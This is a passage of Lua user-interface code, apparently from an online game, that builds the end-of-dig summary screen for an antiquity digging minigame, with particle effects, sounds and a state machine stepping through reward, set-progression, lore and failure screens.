control.stackCountLabel = control.iconTexture:GetNamedChild("StackCount")
control.nameLabel = control:GetNamedChild("Name")
SetupControlStyleTemplating(control, "ZO_AntiquityDiggingRewardItem_Control")
end)
self.bonusesControlPool:SetCustomAcquireBehavior(function(control)
control:CleanStyle()
end)
self.bonusRewardsNoLootFoundLabel = bonusItemsContainer:GetNamedChild("NoLootFound")
self.bonusRewardsTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingRewardBonusesFade", self.bonusRewardsControl)
self.bonusRewardsTimeline:SetSkipAnimationsBehindPlayheadOnInitialPlay(false)
-- Set Progression
self.setProgressionControl = self.control:GetNamedChild("SetProgression")
self.setProgressionHeaderLabel = self.setProgressionControl:GetNamedChild("Header")
self.setProgressionEntriesContainer = self.setProgressionControl:GetNamedChild("Entries")
self.setProgressionTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingSetProgressionFade", self.setProgressionControl)
local function SetAntiquityIconDisplayBehavior(control, desaturateControl, showSilhouette)
local desaturation = desaturateControl and 1 or 0
local rgbSampleProcessingWeight = showSilhouette and 0.7 or 1.0
local alphaAsRGBSampleProcessingWeight = showSilhouette and 0.3 or 0.0
control.iconTexture:SetDesaturation(desaturation)
control.frameTexture:SetDesaturation(desaturation)
control.bgTexture:SetDesaturation(desaturation)
control.iconTexture:SetTextureSampleProcessingWeight(TEX_SAMPLE_PROCESSING_RGB, rgbSampleProcessingWeight)
control.iconTexture:SetTextureSampleProcessingWeight(TEX_SAMPLE_PROCESSING_ALPHA_AS_RGB, alphaAsRGBSampleProcessingWeight)
end
local function OnCompleteFireTrigger(_, completedPlaying)
if completedPlaying then
ANTIQUITY_DIGGING_SUMMARY:HandleCommand(ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.PARTIAL_ANIMATION_COMPLETE)
end
end
self.setProgressionAntiquityIconPool = ZO_ControlPool:New("ZO_AntiquityDigging_FramedAntiquityIcon", self.setProgressionEntriesContainer, "AntiquityIcon")
self.setProgressionAntiquityIconPool:SetCustomFactoryBehavior(function(control)
control.iconTexture = control:GetNamedChild("Icon")
control.frameTexture = control:GetNamedChild("Frame")
control.bgTexture = control.frameTexture:GetNamedChild("BG")
control.fadeTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingFramedAntiquityIconFade", control)
control.fadeTimeline:SetHandler("OnStop", OnCompleteFireTrigger)
SetupControlStyleTemplating(control, "ZO_AntiquityDigging_FramedAntiquityIcon")
control.SetDisplayBehavior = SetAntiquityIconDisplayBehavior
end)
local IGNORE_ANIMATION_CALLBACKS = true
self.setProgressionAntiquityIconPool:SetCustomAcquireBehavior(function(control)
control:CleanStyle()
control.fadeTimeline:SetAllAnimationOffsets(0)
control.fadeTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
end)
-- Control will be set when we know which one is the relevant one
self.setProgressionAntiquityIconScaleTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingFramedAntiquityIconScale")
self.setProgressionAntiquityIconScaleTimeline:SetHandler("OnStop", function(timeline, completedPlaying)
if completedPlaying then
-- 1. The control started out regular size and unfulfilled, then it started growing
if timeline:IsPlayingBackward() then
-- 4. Done shrinking, ready to move on
OnCompleteFireTrigger(timeline, completedPlaying)
else
-- 2. After fully growing, mark fulfilled
local DONT_DESATURATE, DONT_SHOW_SILHOUETTE = false, false
self.setProgressionControlForCurrentAntiquity:SetDisplayBehavior(DONT_DESATURATE, DONT_SHOW_SILHOUETTE)
self.setProgressionSparksParticleSystem:Start()
if self.isAntiquitySetComplete then
PlaySound(SOUNDS.ANTIQUITIES_FANFARE_FRAGMENT_DISCOVERED_FINAL)
else
PlaySound(SOUNDS.ANTIQUITIES_FANFARE_FRAGMENT_DISCOVERED)
end
-- 3. Then start shrinking back to normal
timeline:PlayFromEnd()
end
end
end)
-- Set Complete
self.setCompleteControl = self.control:GetNamedChild("SetComplete")
self.setCompleteBannerTexture = self.setCompleteControl:GetNamedChild("Banner")
self.setCompleteFramedAntiquityControl = self.setCompleteControl:GetNamedChild("FramedAntiquity")
self.setCompleteFramedAntiquityIconTexture = self.setCompleteFramedAntiquityControl:GetNamedChild("Icon")
self.setCompleteTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingSetCompleteFade", self.setCompleteControl)
-- Transfer
self.transferControl = self.control:GetNamedChild("Transfer")
self.transferTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingTransferFade", self.transferControl)
-- Lore
self.loreControl = self.control:GetNamedChild("Lore")
self.loreHeaderLabel = self.loreControl:GetNamedChild("Header")
self.loreTimeline = ANIMATION_MANAGER:CreateTimelineFromVirtual("ZO_AntiquityDiggingLoreFade", self.loreControl)
self:InitializeParticleSystems()
end
function ZO_AntiquityDiggingSummary:InitializeParticleSystems()
local particleR, particleG, particleB = ZO_OFF_WHITE:UnpackRGB()
local FULL_CIRCLE_RADIANS = math.rad(360)
local setProgressionSparksParticleSystem = ZO_ControlParticleSystem:New(ZO_AnalyticalPhysicsParticle_Control)
setProgressionSparksParticleSystem:SetParticlesPerSecond(15)
setProgressionSparksParticleSystem:SetStartPrimeS(0.5)
setProgressionSparksParticleSystem:SetParticleParameter("Texture", "EsoUI/Art/PregameAnimatedBackground/ember.dds")
setProgressionSparksParticleSystem:SetParticleParameter("BlendMode", TEX_BLEND_MODE_ADD)
setProgressionSparksParticleSystem:SetParticleParameter("StartAlpha", 1)
setProgressionSparksParticleSystem:SetParticleParameter("EndAlpha", 0)
setProgressionSparksParticleSystem:SetParticleParameter("DurationS", ZO_UniformRangeGenerator:New(1, 1.5))
setProgressionSparksParticleSystem:SetParticleParameter("PhysicsInitialVelocityElevationRadians", ZO_UniformRangeGenerator:New(0, FULL_CIRCLE_RADIANS))
setProgressionSparksParticleSystem:SetParticleParameter("StartColorR", particleR)
setProgressionSparksParticleSystem:SetParticleParameter("StartColorG", particleG)
setProgressionSparksParticleSystem:SetParticleParameter("StartColorB", particleB)
setProgressionSparksParticleSystem:SetParticleParameter("PhysicsInitialVelocityMagnitude", ZO_UniformRangeGenerator:New(15, 60))
setProgressionSparksParticleSystem:SetParticleParameter("Size", ZO_UniformRangeGenerator:New(5, 10))
setProgressionSparksParticleSystem:SetParticleParameter("DrawLevel", 4)
self.setProgressionSparksParticleSystem = setProgressionSparksParticleSystem
local setCompleteBlastParticleSystem = ZO_ControlParticleSystem:New(ZO_NumericalPhysicsParticle_Control)
setCompleteBlastParticleSystem:SetParentControl(self.setCompleteBannerTexture)
setCompleteBlastParticleSystem:SetParticlesPerSecond(500)
setCompleteBlastParticleSystem:SetDuration(0.2)
setCompleteBlastParticleSystem:SetParticleParameter("Texture", "EsoUI/Art/PregameAnimatedBackground/ember.dds")
setCompleteBlastParticleSystem:SetParticleParameter("BlendMode", TEX_BLEND_MODE_ADD)
setCompleteBlastParticleSystem:SetParticleParameter("StartAlpha", 1)
setCompleteBlastParticleSystem:SetParticleParameter("EndAlpha", 0)
setCompleteBlastParticleSystem:SetParticleParameter("DurationS", ZO_UniformRangeGenerator:New(1.5, 2.5))
setCompleteBlastParticleSystem:SetParticleParameter("PhysicsInitialVelocityElevationRadians", ZO_UniformRangeGenerator:New(0, FULL_CIRCLE_RADIANS))
setCompleteBlastParticleSystem:SetParticleParameter("PhysicsAccelerationElevationRadians1", math.rad(270)) --Down; Right is 0
setCompleteBlastParticleSystem:SetParticleParameter("PhysicsAccelerationMagnitude1", 200)
setCompleteBlastParticleSystem:SetParticleParameter("StartColorR", particleR)
setCompleteBlastParticleSystem:SetParticleParameter("StartColorG", particleG)
setCompleteBlastParticleSystem:SetParticleParameter("StartColorB", particleB)
setCompleteBlastParticleSystem:SetParticleParameter("PhysicsInitialVelocityMagnitude", ZO_UniformRangeGenerator:New(500, 900))
setCompleteBlastParticleSystem:SetParticleParameter("Size", ZO_UniformRangeGenerator:New(6, 12))
setCompleteBlastParticleSystem:SetParticleParameter("PhysicsDragMultiplier", 1.5)
setCompleteBlastParticleSystem:SetParticleParameter("PrimeS", 0.1)
setCompleteBlastParticleSystem:SetParticleParameter("DrawLevel", 0)
self.setCompleteBlastParticleSystem = setCompleteBlastParticleSystem
local setCompleteSparksParticleSystem = ZO_ControlParticleSystem:New(ZO_AnalyticalPhysicsParticle_Control)
setCompleteSparksParticleSystem:SetParentControl(self.setCompleteFramedAntiquityControl)
setCompleteSparksParticleSystem:SetParticlesPerSecond(20)
setCompleteSparksParticleSystem:SetStartPrimeS(0.5)
setCompleteSparksParticleSystem:SetParticleParameter("Texture", "EsoUI/Art/PregameAnimatedBackground/ember.dds")
setCompleteSparksParticleSystem:SetParticleParameter("BlendMode", TEX_BLEND_MODE_ADD)
setCompleteSparksParticleSystem:SetParticleParameter("StartAlpha", 1)
setCompleteSparksParticleSystem:SetParticleParameter("EndAlpha", 0)
setCompleteSparksParticleSystem:SetParticleParameter("DurationS", ZO_UniformRangeGenerator:New(1.5, 2.0))
setCompleteSparksParticleSystem:SetParticleParameter("PhysicsInitialVelocityElevationRadians", ZO_UniformRangeGenerator:New(0, FULL_CIRCLE_RADIANS))
setCompleteSparksParticleSystem:SetParticleParameter("StartColorR", particleR)
setCompleteSparksParticleSystem:SetParticleParameter("StartColorG", particleG)
setCompleteSparksParticleSystem:SetParticleParameter("StartColorB", particleB)
setCompleteSparksParticleSystem:SetParticleParameter("PhysicsInitialVelocityMagnitude", ZO_UniformRangeGenerator:New(15, 60))
setCompleteSparksParticleSystem:SetParticleParameter("Size", ZO_UniformRangeGenerator:New(5, 10))
setCompleteSparksParticleSystem:SetParticleParameter("DrawLevel", 4)
self.setCompleteSparksParticleSystem = setCompleteSparksParticleSystem
local setCompleteStarbustParticleSystem = ZO_ControlParticleSystem:New(ZO_StationaryParticle_Control)
setCompleteStarbustParticleSystem:SetParentControl(self.setCompleteFramedAntiquityControl)
setCompleteStarbustParticleSystem:SetParticlesPerSecond(20)
setCompleteStarbustParticleSystem:SetStartPrimeS(2)
setCompleteStarbustParticleSystem:SetParticleParameter("Texture", "EsoUI/Art/Miscellaneous/lensflare_star_256.dds")
setCompleteStarbustParticleSystem:SetParticleParameter("BlendMode", TEX_BLEND_MODE_ADD)
setCompleteStarbustParticleSystem:SetParticleParameter("StartAlpha", 0)
setCompleteStarbustParticleSystem:SetParticleParameter("EndAlpha", 1)
setCompleteStarbustParticleSystem:SetParticleParameter("AlphaEasing", ZO_EaseInOutZeroToOneToZero)
setCompleteStarbustParticleSystem:SetParticleParameter("StartScale", ZO_UniformRangeGenerator:New(1.5, 1.8))
setCompleteStarbustParticleSystem:SetParticleParameter("EndScale", ZO_UniformRangeGenerator:New(1.05, 1.5))
setCompleteStarbustParticleSystem:SetParticleParameter("DurationS", ZO_UniformRangeGenerator:New(1, 2))
setCompleteStarbustParticleSystem:SetParticleParameter("StartColorR", particleR)
setCompleteStarbustParticleSystem:SetParticleParameter("StartColorG", particleG)
setCompleteStarbustParticleSystem:SetParticleParameter("StartColorB", particleB)
setCompleteStarbustParticleSystem:SetParticleParameter("StartRotationRadians", ZO_UniformRangeGenerator:New(0, FULL_CIRCLE_RADIANS))
local MIN_ROTATION_SPEED = math.rad(1.5)
local MAX_ROTATION_SPEED = math.rad(3)
local headerStarbustRotationSpeedGenerator = ZO_WeightedChoiceGenerator:New(
MIN_ROTATION_SPEED , 0.25,
MAX_ROTATION_SPEED , 0.25,
-MIN_ROTATION_SPEED, 0.25,
-MAX_ROTATION_SPEED, 0.25)
setCompleteStarbustParticleSystem:SetParticleParameter("RotationSpeedRadians", headerStarbustRotationSpeedGenerator)
setCompleteStarbustParticleSystem:SetParticleParameter("Size", 256)
setCompleteStarbustParticleSystem:SetParticleParameter("DrawLevel", 0)
self.setCompleteStarbustParticleSystem = setCompleteStarbustParticleSystem
end
function ZO_AntiquityDiggingSummary:ConfigureKeybindButton(keybindButton, enabled, text)
if enabled then
keybindButton:SetHidden(false)
keybindButton.originalText = text
keybindButton:SetText(text)
else
keybindButton:SetHidden(true)
end
end
function ZO_AntiquityDiggingSummary:InitializeStateMachine()
local fanfareStateMachine = ZO_StateMachine_Base:New("ANTIQUITY_DIGGING_FANFARE_STATE_MACHINE")
self.fanfareStateMachine = fanfareStateMachine
local IGNORE_ANIMATION_CALLBACKS = true
do
local state = fanfareStateMachine:AddState("INACTIVE")
state:RegisterCallback("OnActivated", function()
self.modalUnderlayTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.failureTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.antiquityRewardTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.newLeadTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.bonusRewardsTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.setProgressionTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.setCompleteTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.setProgressionAntiquityIconScaleTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.loreTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.keybindTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.failureControl:SetHidden(true)
self.antiquityRewardControl:SetHidden(true)
self.newLeadControl:SetHidden(true)
self.bonusRewardsControl:SetHidden(true)
self.setProgressionControl:SetHidden(true)
self.setCompleteControl:SetHidden(true)
self.transferControl:SetHidden(true)
self.loreControl:SetHidden(true)
self.bonusesControlPool:ReleaseAllObjects()
self.bonusesRowControlPool:ReleaseAllObjects()
self.setProgressionAntiquityIconPool:ReleaseAllObjects()
self.setProgressionSparksParticleSystem:Stop()
self.setCompleteBlastParticleSystem:Stop()
self.setCompleteSparksParticleSystem:Stop()
self.setCompleteStarbustParticleSystem:Stop()
ANTIQUITY_LORE_DOCUMENT_MANAGER:ReleaseAllObjects(self.loreControl)
self:ConfigureKeybindButton(self.primaryKeybindButton, false)
self:ConfigureKeybindButton(self.secondaryKeybindButton, false)
end)
end
do
local state = fanfareStateMachine:AddState("BEGIN")
state:RegisterCallback("OnActivated", function()
-- This state primarily exists to allow the two possible paths (REWARD_IN/FAILURE_IN) to run their conditionals
-- And to animate shared controls
SCENE_MANAGER:AddFragment(UNIFORM_BLUR_FRAGMENT)
self.modalUnderlayTimeline:PlayFromStart()
self.keybindTimeline:PlayFromStart()
fanfareStateMachine:FireCallbacks(ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.NEXT)
end)
end
do
local state = fanfareStateMachine:AddState("ANTIQUITY_REWARD_IN")
state:RegisterCallback("OnActivated", function()
self:ConfigureKeybindButton(self.primaryKeybindButton, true, GetString(SI_ANTIQUITY_DIGGING_FANFARE_NEXT))
self.antiquityRewardControl:SetHidden(false)
self.rewardsOutTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.antiquityRewardTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.antiquityRewardTimeline:PlayFromStart()
PlaySound(SOUNDS.ANTIQUITIES_FANFARE_FRAGMENT_FOUND)
end)
state:RegisterCallback("OnDeactivated", function()
if self.antiquityRewardTimeline:IsPlaying() then
self.antiquityRewardTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end
end)
end
do
local state = fanfareStateMachine:AddState("NEW_LEAD_IN")
state:RegisterCallback("OnActivated", function()
self.newLeadControl:SetHidden(false)
self.newLeadTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.newLeadTimeline:PlayFromStart()
end)
end
do
local state = fanfareStateMachine:AddState("BONUS_REWARDS_IN")
state:RegisterCallback("OnActivated", function()
self.bonusRewardsControl:SetHidden(false)
self.bonusRewardsTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.bonusRewardsTimeline:PlayFromStart()
end)
end
do
local state = fanfareStateMachine:AddState("REWARDS")
state:RegisterCallback("OnActivated", function()
-- We may have gotten here via a skip, which means we may never have even made it into the interstitial states
-- So just ensure these animations are where we want them to be by this point in the flow
if self.hasNewLead then
self.newLeadControl:SetHidden(false)
self.newLeadTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end
-- The bonus rewards section always shows even if there aren't any rewards
self.bonusRewardsControl:SetHidden(false)
self.bonusRewardsTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end)
end
do
local state = fanfareStateMachine:AddState("REWARDS_OUT")
state:RegisterCallback("OnActivated", function()
self.rewardsOutTimeline:PlayFromStart()
end)
state:RegisterCallback("OnDeactivated", function()
if self.rewardsOutTimeline:IsPlaying() then
self.rewardsOutTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end
self.antiquityRewardControl:SetHidden(true)
self.bonusRewardsControl:SetHidden(true)
end)
end
do
local state = fanfareStateMachine:AddState("SET_PROGRESSION_IN")
state:RegisterCallback("OnActivated", function()
self.setProgressionControl:SetHidden(false)
self.setProgressionTimeline:PlayFromStart()
PlaySound(SOUNDS.ANTIQUITIES_FANFARE_FRAGMENT_PROGRESSION)
end)
state:RegisterCallback("OnDeactivated", function()
local primaryAnimationIsPlaying = self.setProgressionTimeline:IsPlaying()
if primaryAnimationIsPlaying then
self.setProgressionTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end
for _, activeIcon in self.setProgressionAntiquityIconPool:ActiveObjectIterator() do
if primaryAnimationIsPlaying or activeIcon.fadeTimeline:IsPlaying() then
activeIcon.fadeTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end
end
if primaryAnimationIsPlaying or self.setProgressionAntiquityIconScaleTimeline:IsPlaying() then
local DONT_DESATURATE, DONT_SHOW_SILHOUETTE = false, false
self.setProgressionControlForCurrentAntiquity:SetDisplayBehavior(DONT_DESATURATE, DONT_SHOW_SILHOUETTE)
self.setProgressionAntiquityIconScaleTimeline:SetAllAnimationOffsets(0)
self.setProgressionAntiquityIconScaleTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
self.setProgressionSparksParticleSystem:Start()
end
end)
end
fanfareStateMachine:AddState("SET_PROGRESSION")
do
local state = fanfareStateMachine:AddState("SET_PROGRESSION_OUT")
state:RegisterCallback("OnActivated", function()
self.setProgressionTimeline:PlayBackward()
end)
state:RegisterCallback("OnDeactivated", function()
if self.setProgressionTimeline:IsPlaying() then
self.setProgressionTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
end
self.setProgressionControl:SetHidden(true)
self.setProgressionSparksParticleSystem:Stop()
end)
end
do
local state = fanfareStateMachine:AddState("SET_COMPLETE_IN")
state:RegisterCallback("OnActivated", function()
self.setCompleteControl:SetHidden(false)
self.setCompleteTimeline:PlayFromStart()
self.setCompleteBlastParticleSystem:Start()
self.setCompleteSparksParticleSystem:Start()
self.setCompleteStarbustParticleSystem:Start()
PlaySound(SOUNDS.ANTIQUITIES_FANFARE_COMPLETED)
end)
state:RegisterCallback("OnDeactivated", function()
if self.setCompleteTimeline:IsPlaying() then
self.setCompleteTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end
end)
end
fanfareStateMachine:AddState("SET_COMPLETE")
do
local state = fanfareStateMachine:AddState("SET_COMPLETE_OUT")
state:RegisterCallback("OnActivated", function()
self.setCompleteTimeline:PlayBackward()
end)
state:RegisterCallback("OnDeactivated", function()
if self.setCompleteTimeline:IsPlaying() then
self.setCompleteTimeline:PlayInstantlyToStart(IGNORE_ANIMATION_CALLBACKS)
end
self.setCompleteControl:SetHidden(true)
self.setCompleteBlastParticleSystem:Stop()
self.setCompleteSparksParticleSystem:Stop()
self.setCompleteStarbustParticleSystem:Stop()
end)
end
do
local state = fanfareStateMachine:AddState("TRANSFER")
state:RegisterCallback("OnActivated", function()
StartDiggingTransitionToNextDay()
self.transferControl:SetHidden(false)
self.transferTimeline:PlayFromStart()
self:ConfigureKeybindButton(self.primaryKeybindButton, false)
end)
state:RegisterCallback("OnDeactivated", function()
self.transferControl:SetHidden(true)
self.transferTimeline:Stop()
end)
end
do
local state = fanfareStateMachine:AddState("LORE_IN")
state:RegisterCallback("OnActivated", function()
self.loreControl:SetAlpha(0)
self.loreControl:SetHidden(false)
self.loreTimeline:PlayFromStart()
PlaySound(SOUNDS.ANTIQUITIES_FANFARE_MOTIF_SCROLL_APPEAR)
end)
end
do
local state = fanfareStateMachine:AddState("LORE")
state:RegisterCallback("OnDeactivated", function()
if self.loreTimeline:IsPlaying() then
self.loreTimeline:PlayInstantlyToEnd(IGNORE_ANIMATION_CALLBACKS)
end
self.loreControl:SetHidden(true)
ANTIQUITY_LORE_DOCUMENT_MANAGER:ReleaseAllObjects(self.loreControl)
end)
end
do
local state = fanfareStateMachine:AddState("FAILURE_IN")
state:RegisterCallback("OnActivated", function()
self:ConfigureKeybindButton(self.primaryKeybindButton, true, GetString(SI_EXIT_BUTTON))
self.failureControl:SetHidden(false)
self.failureTimeline:PlayFromStart()
PlaySound(SOUNDS.ANTIQUITIES_FANFARE_FAILURE)
end)
end
do
local state = fanfareStateMachine:AddState("QUIT")
state:RegisterCallback("OnActivated", function()
SCENE_MANAGER:RequestShowLeaderBaseScene()
end)
end
-- Edges --
do
fanfareStateMachine:AddEdgeAutoName("INACTIVE", "BEGIN")
local antiquityRewardInEdge = fanfareStateMachine:AddEdgeAutoName("BEGIN", "ANTIQUITY_REWARD_IN")
antiquityRewardInEdge:SetConditional(function()
return self.gameOverFlags == ANTIQUITY_DIGGING_GAME_OVER_FLAGS_VICTORY
end)
local antiquityRewardToNewLeadInEdge = fanfareStateMachine:AddEdgeAutoName("ANTIQUITY_REWARD_IN", "NEW_LEAD_IN")
antiquityRewardToNewLeadInEdge:SetConditional(function()
return self.hasNewLead
end)
local antiquityRewardToBonusRewardsInEdge = fanfareStateMachine:AddEdgeAutoName("ANTIQUITY_REWARD_IN", "BONUS_REWARDS_IN")
antiquityRewardToBonusRewardsInEdge:SetConditional(function()
return not self.hasNewLead
end)
fanfareStateMachine:AddEdge("ANTIQUITY_REWARD_IN_TO_REWARDS_SKIP", "ANTIQUITY_REWARD_IN", "REWARDS")
fanfareStateMachine:AddEdgeAutoName("NEW_LEAD_IN", "BONUS_REWARDS_IN")
fanfareStateMachine:AddEdge("NEW_LEAD_IN_TO_REWARDS_SKIP", "NEW_LEAD_IN", "REWARDS")
fanfareStateMachine:AddEdgeAutoName("BONUS_REWARDS_IN", "REWARDS")
local rewardsOutEdge = fanfareStateMachine:AddEdgeAutoName("REWARDS", "REWARDS_OUT")
rewardsOutEdge:SetConditional(function()
return self.showLore or self.hasAntiquitySet
end)
local rewardsOutToSetProgressionInEdge = fanfareStateMachine:AddEdgeAutoName("REWARDS_OUT", "SET_PROGRESSION_IN")
rewardsOutToSetProgressionInEdge:SetConditional(function()
return self.hasAntiquitySet
end)
local rewardsOutToTransferEdge = fanfareStateMachine:AddEdgeAutoName("REWARDS_OUT", "TRANSFER")
rewardsOutToTransferEdge:SetConditional(function()
return not self.hasAntiquitySet and self.showLore
end)
fanfareStateMachine:AddEdgeAutoName("LORE_IN", "LORE")
fanfareStateMachine:AddEdgeAutoName("SET_PROGRESSION_IN", "SET_PROGRESSION")
local setProgressionOutEdge = fanfareStateMachine:AddEdgeAutoName("SET_PROGRESSION", "SET_PROGRESSION_OUT")
setProgressionOutEdge:SetConditional(function()
return self.isAntiquitySetComplete or self.showLore
end)
local setProgressionOutToTransferEdge = fanfareStateMachine:AddEdgeAutoName("SET_PROGRESSION_OUT", "TRANSFER")
setProgressionOutToTransferEdge:SetConditional(function()
return not self.isAntiquitySetComplete and self.showLore
end)
local setProgressionOutToSetCompleteInEdge = fanfareStateMachine:AddEdgeAutoName("SET_PROGRESSION_OUT", "SET_COMPLETE_IN")
setProgressionOutToSetCompleteInEdge:SetConditional(function()
return self.isAntiquitySetComplete
end)
fanfareStateMachine:AddEdgeAutoName("SET_COMPLETE_IN", "SET_COMPLETE")
local setCompleteQuitEdge = fanfareStateMachine:AddEdgeAutoName("SET_COMPLETE", "QUIT")
setCompleteQuitEdge:SetConditional(function()
return not self.showLore
end)
setCompleteQuitEdge:RegisterCallback("OnActivated", function()
self:ConfigureKeybindButton(self.primaryKeybindButton, true, GetString(SI_EXIT_BUTTON))
end)
local setCompleteOutEdge = fanfareStateMachine:AddEdgeAutoName("SET_COMPLETE", "SET_COMPLETE_OUT")
setCompleteOutEdge:SetConditional(function()
return self.showLore
end)
fanfareStateMachine:AddEdgeAutoName("SET_COMPLETE_OUT", "TRANSFER")
fanfareStateMachine:AddEdgeAutoName("TRANSFER", "LORE_IN")
local failureInEdge = fanfareStateMachine:AddEdgeAutoName("BEGIN", "FAILURE_IN")
failureInEdge:SetConditional(function()
return self.gameOverFlags ~= ANTIQUITY_DIGGING_GAME_OVER_FLAGS_VICTORY
end)
local rewardsQuitEdge = fanfareStateMachine:AddEdgeAutoName("REWARDS", "QUIT")
rewardsQuitEdge:SetConditional(function()
return not (self.showLore or self.hasAntiquitySet)
end)
rewardsQuitEdge:RegisterCallback("OnActivated", function()
self:ConfigureKeybindButton(self.primaryKeybindButton, true, GetString(SI_EXIT_BUTTON))
end)
local loreQuitEdge = fanfareStateMachine:AddEdgeAutoName("LORE", "QUIT")
loreQuitEdge:RegisterCallback("OnActivated", function()
self:ConfigureKeybindButton(self.primaryKeybindButton, true, GetString(SI_EXIT_BUTTON))
self:ConfigureKeybindButton(self.secondaryKeybindButton, true, GetString(SI_ANTIQUITY_DIGGING_FANFARE_CODEX))
end)
local setProgressionQuitEdge = fanfareStateMachine:AddEdgeAutoName("SET_PROGRESSION", "QUIT")
setProgressionQuitEdge:SetConditional(function()
return not (self.showLore or self.isAntiquitySetComplete)
end)
setProgressionQuitEdge:RegisterCallback("OnActivated", function()
self:ConfigureKeybindButton(self.primaryKeybindButton, true, GetString(SI_EXIT_BUTTON))
end)
-- If the player skips the failure at any point, just let them quit
fanfareStateMachine:AddEdgeAutoName("FAILURE_IN", "QUIT")
end
-- Triggers --
fanfareStateMachine:AddTrigger("BEGIN", ZO_StateMachine_TriggerStateCallback, ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.BEGIN)
fanfareStateMachine:AddTrigger("NEXT", ZO_StateMachine_TriggerStateCallback, ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.NEXT)
fanfareStateMachine:AddTrigger("ANIMATION_COMPLETE", ZO_StateMachine_TriggerStateCallback, ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.ANIMATION_COMPLETE)
do
local trigger = fanfareStateMachine:AddTrigger("SET_PROGRESSION_ANIMATIONS_COMPLETE", ZO_StateMachine_TriggerStateCallback, ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.PARTIAL_ANIMATION_COMPLETE)
trigger:SetEventCount(function()
local antiquityId = GetDigSpotAntiquityId()
local antiquitySetId = GetAntiquitySetId(antiquityId)
local numFadeAnimations = GetNumAntiquitySetAntiquities(antiquitySetId)
local NUM_SCALE_ANIMATIONS = 1
return numFadeAnimations + NUM_SCALE_ANIMATIONS
end)
end
fanfareStateMachine:AddTrigger("TIME_HAS_PASSED", ZO_StateMachine_TriggerStateCallback, ZO_END_OF_GAME_FANFARE_TRIGGER_COMMANDS.TIME_HAS_PASSED)
-- Add triggers to edges --
fanfareStateMachine:AddTriggerToEdge("BEGIN", "INACTIVE_TO_BEGIN")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "ANTIQUITY_REWARD_IN_TO_NEW_LEAD_IN")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "ANTIQUITY_REWARD_IN_TO_BONUS_REWARDS_IN")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "NEW_LEAD_IN_TO_BONUS_REWARDS_IN")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "BONUS_REWARDS_IN_TO_REWARDS")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "REWARDS_OUT_TO_TRANSFER")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "REWARDS_OUT_TO_SET_PROGRESSION_IN")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "LORE_IN_TO_LORE")
fanfareStateMachine:AddTriggerToEdge("SET_PROGRESSION_ANIMATIONS_COMPLETE", "SET_PROGRESSION_IN_TO_SET_PROGRESSION")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "SET_PROGRESSION_OUT_TO_SET_COMPLETE_IN")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "SET_PROGRESSION_OUT_TO_TRANSFER")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "SET_COMPLETE_IN_TO_SET_COMPLETE")
fanfareStateMachine:AddTriggerToEdge("ANIMATION_COMPLETE", "SET_COMPLETE_OUT_TO_TRANSFER")
fanfareStateMachine:AddTriggerToEdge("NEXT", "BEGIN_TO_ANTIQUITY_REWARD_IN")
fanfareStateMachine:AddTriggerToEdge("NEXT", "ANTIQUITY_REWARD_IN_TO_REWARDS_SKIP")
fanfareStateMachine:AddTriggerToEdge("NEXT", "NEW_LEAD_IN_TO_REWARDS_SKIP")
fanfareStateMachine:AddTriggerToEdge("NEXT", "BONUS_REWARDS_IN_TO_REWARDS")
